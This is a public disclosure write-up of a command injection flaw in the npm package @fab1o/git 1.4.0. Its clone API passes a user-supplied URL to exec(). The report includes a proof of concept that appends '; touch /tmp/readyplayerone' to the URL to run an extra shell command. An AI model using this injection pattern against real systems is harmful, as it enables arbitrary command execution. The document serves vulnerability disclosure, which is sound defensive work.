This write-up is a public report of the Command Injection vulnerability in @fab1o/git@1.4.0 which I reported to the maintainer yet received no response.

The @fab1o/git npm library describes itself as a wrapper for command line git with promises.

Resources:

• Project’s GitHub source code: https://github.com/fab1o/git-command-line/
• Project’s npm package: https://www.npmjs.com/package/@fab1o/git

Background on exploitation

I’m reporting a Command Injection vulnerability in @fab1o/git npm package.

This vulnerability manifests with the library’s clone API, which allows user input to specify the remote URL to clone and then concatenates this string along with a git command which is then passed to the unsafe exec() Node.js child process API.

It should be noted that other function methods exposed as user-facing APIs are also vulnerable.

Exploit

1. Install @fab1o/git@1.4.0 or earlier
2. Establish the following POC:

const { Git } = require("@fab1o/git");
var git = new Git();
git
  .clone(
    "https://github.com/sayden/git-command-line.git; touch /tmp/readyplayerone"
  )
  .then(function (res) {
    console.log(res);
  })
  .catch(function (err) {
    console.error(err);
  });

3. Observe new file created on disk at /tmp/readyplayerone